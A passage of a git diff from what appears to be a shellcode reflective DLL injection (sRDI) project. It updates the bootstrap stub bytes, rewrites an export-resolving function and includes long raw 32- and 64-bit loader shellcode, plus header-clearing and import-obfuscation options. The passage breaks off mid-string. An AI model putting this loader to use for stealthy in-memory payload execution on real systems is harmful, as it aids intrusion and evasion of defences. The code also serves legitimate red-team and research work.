0x33,0xC0,0x48,0x8B,0x5C,0x24,0x20,0x48,0x8B,0x6C,0x24,0x28,0x48,0x8B,0x74,0x24,0x30,0x48,0x8B,0x7C,0x24,0x38,0x48,0x83,0xC4,0x10,0x41,0x5E,0xC3 }; //MARKER:E #endif var newShellcode = new List(); @@ -690,7 +621,7 @@ namespace RDIShellcodeLoader else // 32 Bit { var rdiShellcode = rdiShellcode32; - int bootstrapSize = 46; + int bootstrapSize = 49; // call next instruction (Pushes next instruction address to stack) newShellcode.Add(0xe8); @@ -709,21 +640,21 @@ namespace RDIShellcodeLoader newShellcode.Add(0x55); // mov ebp, esp - newShellcode.Add(0x89); + newShellcode.Add(0x89); newShellcode.Add(0xe5); - // mov ebx, eax - copy our location in memory to ebx before we start modifying eax + // mov edx, eax - copy our location in memory to ebx before we start modifying eax newShellcode.Add(0x89); - newShellcode.Add(0xc3); + newShellcode.Add(0xc2); // add eax, newShellcode.Add(0x05); foreach (byte b in BitConverter.GetBytes(dllOffset)) newShellcode.Add(b); - // add ebx, + + // add edx, + newShellcode.Add(0x81); - newShellcode.Add(0xc3); + newShellcode.Add(0xc2); foreach (byte b in BitConverter.GetBytes((uint)(dllOffset + dllBytes.Length))) newShellcode.Add(b); @@ -737,8 +668,8 @@ namespace RDIShellcodeLoader foreach (byte b in BitConverter.GetBytes((uint)userData.Length)) newShellcode.Add(b); - // push ebx - newShellcode.Add(0x53); + // push edx + newShellcode.Add(0x52); // push newShellcode.Add(0x68); @@ -755,6 +686,11 @@ namespace RDIShellcodeLoader newShellcode.Add(0x00); newShellcode.Add(0x00); + // add esp, 0x14 + newShellcode.Add(0x83); + newShellcode.Add(0xc4); + newShellcode.Add(0x14); + // leave newShellcode.Add(0xc9); @@ -830,6 +766,8 @@ namespace RDIShellcodeLoader IntPtr peLocation = reflectiveLoader(); + GC.Collect(); // Verify we haven't broken anything + IntPtr expFunctionLocation = PE.GetProcAddressR(peLocation, "SayGoodbye"); if(expFunctionLocation != IntPtr.Zero) { diff --git a/FunctionTest/FunctionTest.cpp b/FunctionTest/FunctionTest.cpp index e61ce90..a0645b0 100644 --- a/FunctionTest/FunctionTest.cpp +++ b/FunctionTest/FunctionTest.cpp @@ -14,78 +14,40 @@ #define DEREF_16( name )*(WORD *)(name) #define DEREF_8( name )*(BYTE *)(name) -FARPROC GetProcAddressR(UINT_PTR uiLibraryAddress, LPCSTR lpProcName) -{ - FARPROC fpResult = NULL; +#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva) - if (uiLibraryAddress == NULL) +FARPROC GetProcAddressR(HMODULE hModule, LPCSTR lpProcName) +{ + if (hModule == NULL || lpProcName == NULL) return NULL; - UINT_PTR uiAddressArray = 0; - UINT_PTR uiNameArray = 0; - UINT_PTR uiNameOrdinals = 0; - PIMAGE_NT_HEADERS pNtHeaders = NULL; - PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; - PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + PIMAGE_NT_HEADERS ntHeaders = RVA(PIMAGE_NT_HEADERS, hModule, ((PIMAGE_DOS_HEADER)hModule)->e_lfanew); + PIMAGE_DATA_DIRECTORY dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!dataDir->Size) + return NULL; - // get the VA of the modules NT Header - pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDir = RVA(PIMAGE_EXPORT_DIRECTORY, hModule, dataDir->VirtualAddress); + if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions) + return NULL; - pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + PDWORD expName = RVA(PDWORD, hModule, exportDir->AddressOfNames); + PWORD expOrdinal = RVA(PWORD, hModule, exportDir->AddressOfNameOrdinals); + LPCSTR expNameStr; - // get the VA of the export directory - pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); + for (DWORD i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) { - // get the VA for the array of addresses - uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions); + expNameStr = RVA(LPCSTR, hModule, *expName); - // get the VA for the array of name pointers - uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames); + if (!expNameStr) + break; - // get the VA for the array of name ordinals - uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals); - - // test if we are importing by name or by ordinal... - if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000) - { - // import by ordinal... - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD)); - - // resolve the address for this imported function - fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); - } - else - { - // import by name... - DWORD dwCounter = pExportDirectory->NumberOfNames; - while (dwCounter--) - { - char* cpExportedFunctionName = (char*)(uiLibraryAddress + DEREF_32(uiNameArray)); - - // test if we have a match... - if (strcmp(cpExportedFunctionName, lpProcName) == 0) - { - // use the functions name ordinal as an index into the array of name pointers - uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); - - // calculate the virtual address for the function - fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); - - // finish... - break; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); + if (!_stricmp(lpProcName, expNameStr)) { + DWORD funcRva = *RVA(PDWORD, hModule, exportDir->AddressOfFunctions + (*expOrdinal * 4)); + return RVA(FARPROC, hModule, funcRva); } } - return fpResult; + return NULL; } @@ -146,9 +108,9 @@ int main() LoadDLL( (ULONG_PTR)buffer, - HashFunctionName("SayHello"), + HashFunctionName("SayGoodbye"), NULL, 0, - SRDI_CLEARHEADER | SRDI_CLEARMEMORY | SRDI_OBFUSCATEIMPORTS | (3 << 16) + SRDI_CLEARHEADER | SRDI_CLEARMEMORY // | SRDI_OBFUSCATEIMPORTS | (3 << 16) ); return 0; diff --git a/FunctionTest/FunctionTest.vcxproj b/FunctionTest/FunctionTest.vcxproj index 9531c25..c8478f1 100644 --- a/FunctionTest/FunctionTest.vcxproj +++ b/FunctionTest/FunctionTest.vcxproj @@ -23,32 +23,32 @@ {7E4557D4-F56B-408A-8C81-CBEE5EF25B11} Win32Proj FunctionTest - 10.0.15063.0 + 10.0 Application true - v141 + v142 Unicode Application false - v141 + v142 true Unicode Application true - v141 + v142 Unicode Application false - v141 + v142 true Unicode diff --git a/Native/Loader.cpp b/Native/Loader.cpp index 7f0877d..323eb1b 100644 --- a/Native/Loader.cpp +++ b/Native/Loader.cpp @@ -9,82 +9,47 @@ #define DEREF_32( name )*(DWORD *)(name) #define DEREF_16( name )*(WORD *)(name) #define DEREF_8( name )*(BYTE *)(name) + #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) +#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva) #define SRDI_CLEARHEADER 0x1 +#define SRDI_CLEARMEMORY 0x2 +#define SRDI_OBFUSCATEIMPORTS 0x4 -FARPROC GetProcAddressR(UINT_PTR uiLibraryAddress, LPCSTR lpProcName) + +FARPROC GetProcAddressR(HMODULE hModule, LPCSTR lpProcName) { - FARPROC fpResult = NULL; - - if (uiLibraryAddress == NULL) + if (hModule == NULL || lpProcName == NULL) return NULL; - UINT_PTR uiAddressArray = 0; - UINT_PTR uiNameArray = 0; - UINT_PTR uiNameOrdinals = 0; - PIMAGE_NT_HEADERS pNtHeaders = NULL; - PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; - PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; + PIMAGE_NT_HEADERS ntHeaders = RVA(PIMAGE_NT_HEADERS, hModule, ((PIMAGE_DOS_HEADER)hModule)->e_lfanew); + PIMAGE_DATA_DIRECTORY dataDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!dataDir->Size) + return NULL; - // get the VA of the modules NT Header - pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDir = RVA(PIMAGE_EXPORT_DIRECTORY, hModule, dataDir->VirtualAddress); + if (!exportDir->NumberOfNames || !exportDir->NumberOfFunctions) + return NULL; - pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + PDWORD expName = RVA(PDWORD, hModule, exportDir->AddressOfNames); + PWORD expOrdinal = RVA(PWORD, hModule, exportDir->AddressOfNameOrdinals); + LPCSTR expNameStr; - // get the VA of the export directory - pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress); + for (DWORD i = 0; i < exportDir->NumberOfNames; i++, expName++, expOrdinal++) { - // get the VA for the array of addresses - uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions); + expNameStr = RVA(LPCSTR, hModule, *expName); - // get the VA for the array of name pointers - uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames); + if (!expNameStr) + break; - // get the VA for the array of name ordinals - uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals); - - // test if we are importing by name or by ordinal... - if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000) - { - // import by ordinal... - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD)); - - // resolve the address for this imported function - fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); - } - else - { - // import by name... - DWORD dwCounter = pExportDirectory->NumberOfNames; - while (dwCounter--) - { - char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32(uiNameArray)); - - // test if we have a match... - if (strcmp(cpExportedFunctionName, lpProcName) == 0) - { - // use the functions name ordinal as an index into the array of name pointers - uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); - - // calculate the virtual address for the function - fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray)); - - // finish... - break; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); + if (!_stricmp(lpProcName, expNameStr)) { + DWORD funcRva = *RVA(PDWORD, hModule, exportDir->AddressOfFunctions + (*expOrdinal * 4)); + return RVA(FARPROC, hModule, funcRva); } } - return fpResult; + return NULL; } BOOL Is64BitDLL(UINT_PTR uiLibraryAddress) @@ -140,9 +105,9 @@ BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID #else //MARKER:S - LPSTR rdiShellcode32 = "\x83\xEC\x6C\x53\x55\x56\x57\xB9\x4C\x77\x26\x07\xE8\x6E\x06\x00\x00\x8B\xF8\xB9\x49\xF7\x02\x78\x89\x7C\x24\x28\xE8\x5E\x06\x00\x00\x8B\xF0\xB9\x58\xA4\x53\xE5\x89\x74\x24\x2C\xE8\x4E\x06\x00\x00\x8B\xD8\xB9\x10\xE1\x8A\xC3\x89\x5C\x24\x20\xE8\x3E\x06\x00\x00\xB9\xAF\xB1\x5C\x94\x89\x44\x24\x30\xE8\x30\x06\x00\x00\xB9\x33\x00\x9E\x95\x89\x44\x24\x34\xE8\x22\x06\x00\x00\xB9\x44\xF0\x35\xE0\x8B\xE8\xE8\x16\x06\x00\x00\x89\x44\x24\x40\x85\xFF\x0F\x84\x00\x06\x00\x00\x85\xF6\x0F\x84\xF8\x05\x00\x00\x85\xDB\x0F\x84\xF0\x05\x00\x00\x83\x7C\x24\x30\x00\x0F\x84\xE5\x05\x00\x00\x83\x7C\x24\x34\x00\x0F\x84\xDA\x05\x00\x00\x85\xED\x0F\x84\xD2\x05\x00\x00\x85\xC0\x0F\x84\xCA\x05\x00\x00\x8B\x84\x24\x80\x00\x00\x00\x8B\x70\x3C\x03\xF0\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x05\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x05\x00\x00\xF6\x46\x38\x01\x0F\x85\x99\x05\x00\x00\x0F\xB7\x56\x06\x33\xFF\x0F\xB7\x46\x14\x85\xD2\x74\x22\x8D\x4E\x24\x03\xC8\x83\x79\x04\x00\x8B\x01\x75\x05\x03\x46\x38\xEB\x03\x03\x41\x04\x3B\xC7\x0F\x47\xF8\x83\xC1\x28\x83\xEA\x01\x75\xE3\x8D\x44\x24\x58\x50\xFF\xD5\x8B\x4C\x24\x5C\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC7\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x42\x05\x00\x00\x6A\x04\xBF\x00\x30\x00\x00\x57\x55\xFF\x76\x34\xFF\xD3\x8B\xD8\x89\x5C\x24\x24\x85\xDB\x75\x0F\x6A\x04\x57\x55\x50\xFF\x54\x24\x30\x8B\xD8\x89\x44\x24\x24\xF6\x84\x24\x90\x00\x00\x00\x01\x74\x28\x8B\x94\x24\x80\x00\x00\x00\x8B\x42\x3C\x89\x43\x3C\x8B\x4A\x3C\x3B\x4E\x54\x73\x31\x8D\x3C\x0B\x2B\xD3\x8A\x04\x3A\x41\x88\x07\x47\x3B\x4E\x54\x72\xF4\xEB\x1E\x33\xFF\x39\x7E\x54\x76\x17\x8B\x94\x24\x80\x00\x00\x00\x8B\xCB\x2B\xD3\x8A\x04\x11\x47\x88\x01\x41\x3B\x7E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x1C\x33\xD2\x89\x6C\x24\x14\x0F\xB7\x45\x14\x66\x3B\x55\x06\x73\x40\x8D\x75\x28\x03\xF0\x33\xFF\x39\x3E\x76\x25\x8B\xAC\x24\x80\x00\x00\x00\x8B\x46\x04\x8D\x14\x3B\x8B\x4E\xFC\x03\xC7\x47\x8A\x04\x28\x88\x04\x0A\x3B\x3E\x72\xEA\x8B\x6C\x24\x14\x8B\x4C\x24\x1C\x0F\xB7\x45\x06\x41\x83\xC6\x28\x89\x4C\x24\x1C\x3B\xC8\x72\xC5\x6A\x01\x8B\xFB\x5E\x89\x74\x24\x20\x2B\x7D\x34\x74\x7B\x83\xBD\xA4\x00\x00\x00\x00\x74\x72\x8B\x95\xA0\x00\x00\x00\x03\xD3\x83\x3A\x00\x74\x65\x6A\x02\x5D\x8D\x72\x08\xEB\x46\x0F\xB7\x0E\x66\x8B\xC1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x74\x06\x66\x83\xF8\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0A\x01\x3C\x19\xEB\x21\x66\x3B\x44\x24\x20\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0A\x01\x04\x19\x03\xF5\x8B\x42\x04\x03\xC2\x3B\xF0\x75\xB1\x83\x3E\x00\x8B\xD6\x75\xA5\x8B\x6C\x24\x14\x33\xF6\x46\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\x97\x01\x00\x00\x8B\x85\x80\x00\x00\x00\x8D\x0C\x18\x83\xC0\x0C\x03\xC3\x89\x4C\x24\x1C\x33\xC9\x89\x4C\x24\x18\x39\x08\x74\x0D\x8D\x40\x14\x41\x83\x38\x00\x75\xF7\x89\x4C\x24\x18\x8B\x94\x24\x90\x00\x00\x00\x8B\xC2\x83\xE0\x04\x89\x44\x24\x3C\x0F\x84\xAE\x00\x00\x00\x3B\xCE\x0F\x86\xA6\x00\x00\x00\xC1\xEA\x10\x8D\x41\xFF\x89\x94\x24\x90\x00\x00\x00\x33\xD2\x89\x44\x24\x38\x89\x54\x24\x20\x85\xC0\x0F\x84\x92\x00\x00\x00\x8B\x5C\x24\x1C\x8B\xAC\x24\x80\x00\x00\x00\x89\x5C\x24\x1C\x2B\xCA\x69\xED\xFD\x43\x03\x00\x33\xD2\x8D\x7C\x24\x44\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC5\xC3\x9E\x26\x00\x33\xD2\x6A\x05\x8D\x48\x01\x8B\xC5\xC1\xE8\x10\x25\xFF\x7F\x00\x00\xF7\xF1\x8B\x54\x24\x24\x03\xC2\x6B\xC0\x14\x59\x6A\x05\x03\xC3\x42\x8B\xF0\x89\x54\x24\x24\xF3\xA5\x8B\x74\x24\x20\x8B\xF8\x8B\x44\x24\x20\x59\xF3\xA5\x6A\x05\x8B\xF8\x8D\x74\x24\x48\x59\x83\xC0\x14\xF3\xA5\x8B\x4C\x24\x18\x89\x44\x24\x1C\x3B\x54\x24\x38\x72\x92\x8B\x5C\x24\x24\x8B\x6C\x24\x14\xEB\x0B\x8B\x44\x24\x40\x89\x84\x24\x90\x00\x00\x00\x8B\xB5\x80\x00\x00\x00\x03\xF3\x89\x74\x24\x20\x8B\x46\x0C\x85\xC0\x0F\x84\x88\x00\x00\x00\x8B\x6C\x24\x18\x03\xC3\x50\xFF\x54\x24\x2C\x8B\x7E\x10\x89\x44\x24\x38\x03\xFB\x8B\x06\x03\xC3\x89\x44\x24\x24\x8B\x08\x85\xC9\x74\x36\x8B\x6C\x24\x38\x8B\x74\x24\x2C\x79\x05\x0F\xB7\xC1\xEB\x05\x8D\x41\x02\x03\xC3\x50\x55\xFF\xD6\x89\x07\x83\xC7\x04\x8B\x44\x24\x24\x83\xC0\x04\x89\x44\x24\x24\x8B\x08\x85\xC9\x75\xDA\x8B\x74\x24\x20\x8B\x6C\x24\x18\x83\x7C\x24\x3C\x00\x74\x17\x33\xC0\x40\x3B\xE8\x76\x10\x69\x84\x24\x90\x00\x00\x00\xE8\x03\x00\x00\x50\xFF\x54\x24\x44\x8B\x46\x20\x83\xC6\x14\x89\x74\x24\x20\x85\xC0\x75\x80\x8B\x6C\x24\x14\x83\xBD\xE4\x00\x00\x00\x00\x74\x73\x8B\xBD\xE0\x00\x00\x00\x83\xC7\x04\x03\xFB\x89\x7C\x24\x20\x83\x3F\x00\x74\x5F\x8B\x07\x03\xC3\x50\xFF\x54\x24\x2C\x8B\x77\x08\x8B\xE8\x8B\x47\x0C\x03\xF3\x03\xC3\x89\x44\x24\x24\x83\x3E\x00\x74\x31\x8B\x7C\x24\x2C\x8B\x00\x85\xC0\x79\x05\x0F\xB7\xC0\xEB\x05\x83\xC0\x02\x03\xC3\x50\x55\xFF\xD7\x89\x06\x83\xC6\x04\x8B\x44\x24\x24\x83\xC0\x04\x89\x44\x24\x24\x83\x3E\x00\x75\xD7\x8B\x7C\x24\x20\x83\xC7\x20\x89\x7C\x24\x20\x83\x3F\x00\x75\xA5\x8B\x6C\x24\x14\x0F\xB7\x45\x14\x33\xC9\x33\xFF\x66\x3B\x4D\x06\x0F\x83\xB0\x00\x00\x00\x8D\x75\x3C\x03\xF0\x83\x7E\xEC\x00\x0F\x84\x91\x00\x00\x00\x8B\x0E\x33\xD2\x42\x8B\xC1\xC1\xE8\x1D\x23\xC2\x8B\xD1\xC1\xEA\x1E\x83\xE2\x01\xC1\xE9\x1F\x85\xC0\x75\x18\x85\xD2\x75\x0D\x6A\x08\x58\x6A\x01\x85\xC9\x59\x0F\x44\xC1\xEB\x3D\x6A\x04\x58\x6A\x02\xEB\xF1\x85\xD2\x75\x1E\x85\xC9\x75\x05\x6A\x10\x58\xEB\x29\x85\xD2\x75\x11\x85\xC9\x74\x07\xB8\x80\x00\x00\x00\xEB\x1A\x8B\x44\x24\x10\xEB\x18\x85\xC9\x75\x04\x6A\x20\xEB\xE0\x8B\x44\x24\x10\x85\xC9\x6A\x40\x5A\x0F\x45\xC2\x89\x44\x24\x10\xF7\x06\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x10\x8D\x4C\x24\x10\x51\x50\x8B\x46\xE8\xFF\x76\xEC\x03\xC3\x50\xFF\x54\x24\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x55\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x54\x24\x40\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x14\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x84\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xA3\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\x93\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x89\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x34\x00\x03\xCB\x85\xED\x74\x76\x8B\x37\xC7\x44\x24\x1C\x00\x00\x00\x00\x03\xF3\x74\x68\x8A\x06\x84\xC0\x74\x1C\x8B\x6C\x24\x1C\x0F\xBE\xC0\x03\xC5\xC1\xC8\x0D\x46\x8B\xE8\x8A\x06\x84\xC0\x75\xEF\x89\x6C\x24\x1C\x8B\x6A\x18\x8B\x84\x24\x84\x00\x00\x00\x3B\x44\x24\x1C\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x34\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x34\x3B\xC5\x72\xAC\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x8C\x00\x00\x00\xFF\xB4\x24\x8C\x00\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x6C\xC3\x83\xEC\x10\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x18\x8B\x70\x0C\xE9\x8A\x00\x00\x00\x8B\x46\x30\x33\xC9\x8B\x5E\x2C\x8B\x36\x89\x44\x24\x14\x8B\x42\x3C\x8B\x6C\x10\x78\x89\x6C\x24\x10\x85\xED\x74\x6D\xC1\xEB\x10\x33\xFF\x85\xDB\x74\x1F\x8B\x6C\x24\x14\x8A\x04\x2F\xC1\xC9\x0D\x3C\x61\x0F\xBE\xC0\x7C\x03\x83\xC1\xE0\x03\xC8\x47\x3B\xFB\x72\xE9\x8B\x6C\x24\x10\x8B\x44\x2A\x20\x33\xDB\x8B\x7C\x2A\x18\x03\xC2\x89\x7C\x24\x14\x85\xFF\x74\x31\x8B\x28\x33\xFF\x03\xEA\x83\xC0\x04\x89\x44\x24\x1C\x0F\xBE\x45\x00\xC1\xCF\x0D\x03\xF8\x45\x80\x7D\xFF\x00\x75\xF0\x8D\x04\x0F\x3B\x44\x24\x18\x74\x20\x8B\x44\x24\x1C\x43\x3B\x5C\x24\x14\x72\xCF\x8B\x56\x18\x85\xD2\x0F\x85\x6B\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x10\xC3\x8B\x74\x24\x10\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"; - LPSTR rdiShellcode64 = "\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x68\xA9\x48\x81\xEC\x90\x00\x00\x00\x48\x8B\xF1\xB9\x4C\x77\x26\x07\xE8\xA3\x06\x00\x00\xB9\x49\xF7\x02\x78\x48\x89\x45\xB7\x4C\x8B\xE0\xE8\x92\x06\x00\x00\xB9\x58\xA4\x53\xE5\x48\x89\x45\xBF\x4C\x8B\xE8\xE8\x81\x06\x00\x00\xB9\x10\xE1\x8A\xC3\x4C\x8B\xF8\xE8\x74\x06\x00\x00\xB9\xAF\xB1\x5C\x94\x48\x89\x45\xD7\x48\x8B\xF8\xE8\x63\x06\x00\x00\xB9\x33\x00\x9E\x95\x48\x89\x45\xDF\x48\x8B\xD8\xE8\x52\x06\x00\x00\xB9\x44\xF0\x35\xE0\x4C\x8B\xF0\xE8\x45\x06\x00\x00\x45\x33\xD2\x48\x89\x45\xC7\x4D\x85\xE4\x0F\x84\x16\x06\x00\x00\x4D\x85\xED\x0F\x84\x0D\x06\x00\x00\x4D\x85\xFF\x0F\x84\x04\x06\x00\x00\x48\x85\xFF\x0F\x84\xFB\x05\x00\x00\x48\x85\xDB\x0F\x84\xF2\x05\x00\x00\x4D\x85\xF6\x0F\x84\xE9\x05\x00\x00\x48\x85\xC0\x0F\x84\xE0\x05\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xCD\x05\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xBE\x05\x00\x00\x44\x8B\x47\x38\x45\x8D\x5A\x01\x45\x84\xC3\x0F\x85\xAD\x05\x00\x00\x0F\xB7\x47\x06\x41\x8B\xDA\x0F\xB7\x4F\x14\x85\xC0\x74\x28\x48\x83\xC1\x24\x44\x8B\xC8\x48\x03\xCF\x8B\x51\x04\x85\xD2\x75\x07\x8B\x11\x41\x03\xD0\xEB\x02\x03\x11\x3B\xD3\x0F\x47\xDA\x48\x83\xC1\x28\x4D\x2B\xCB\x75\xE2\x48\x8D\x4D\xE7\x41\xFF\xD6\x8B\x55\xEB\x44\x8D\x72\xFF\x44\x03\x77\x50\x8D\x42\xFF\xF7\xD0\x48\x8D\x4A\xFF\x44\x23\xF0\x8B\xC3\x48\x03\xC8\x48\x8D\x42\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x40\x05\x00\x00\x48\x8B\x4F\x30\x41\xB9\x04\x00\x00\x00\x41\xB8\x00\x30\x00\x00\x41\x8B\xD6\x41\xFF\xD7\x48\x8B\xD8\x48\x85\xC0\x75\x15\x44\x8D\x48\x04\x41\xB8\x00\x30\x00\x00\x41\x8B\xD6\x33\xC9\x41\xFF\xD7\x48\x8B\xD8\x44\x8B\x5D\x7F\x41\xBE\x01\x00\x00\x00\x45\x84\xDE\x0F\x84\xB1\x00\x00\x00\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD6\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x45\x33\xFF\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\xCF\x0F\xB7\x47\x14\x66\x44\x3B\x7F\x06\x73\x3E\x4C\x8D\x47\x28\x4C\x03\xC0\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCE\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD6\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xD3\x4C\x2B\x57\x30\x0F\x84\xDE\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xD1\x00\x00\x00\x44\x8B\x87\xB0\x00\x00\x00\x4C\x03\xC3\x45\x39\x38\x0F\x84\xBE\x00\x00\x00\x41\xBC\x02\x00\x00\x00\x4D\x8D\x48\x08\xE9\x93\x00\x00\x00\x45\x33\xFF\x41\x8B\xD7\x44\x39\x7F\x54\x0F\x86\x5D\xFF\xFF\xFF\x8B\xCA\x41\x03\xD6\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xE9\x48\xFF\xFF\xFF\x41\x0F\xB7\x01\x0F\xB7\xC8\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x11\x41\x8B\x08\x25\xFF\x0F\x00\x00\x48\x03\xC3\x4C\x01\x14\x01\xEB\x49\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC2\xEB\x2E\x66\x41\x3B\xCE\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC2\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xCC\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC2\x41\x8B\x10\x48\x01\x04\x0A\x4D\x03\xCC\x41\x8B\x40\x04\x49\x03\xC0\x4C\x3B\xC8\x75\x86\x4D\x8B\xC1\x45\x39\x39\x0F\x85\x4C\xFF\xFF\xFF\x4C\x8B\x65\xB7\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x45\x01\x00\x00\x44\x8B\x87\x90\x00\x00\x00\x45\x8B\xEF\x4C\x03\xC3\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEE\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B\xC3\x83\xE0\x04\x89\x45\xB3\x0F\x84\x82\x00\x00\x00\x45\x3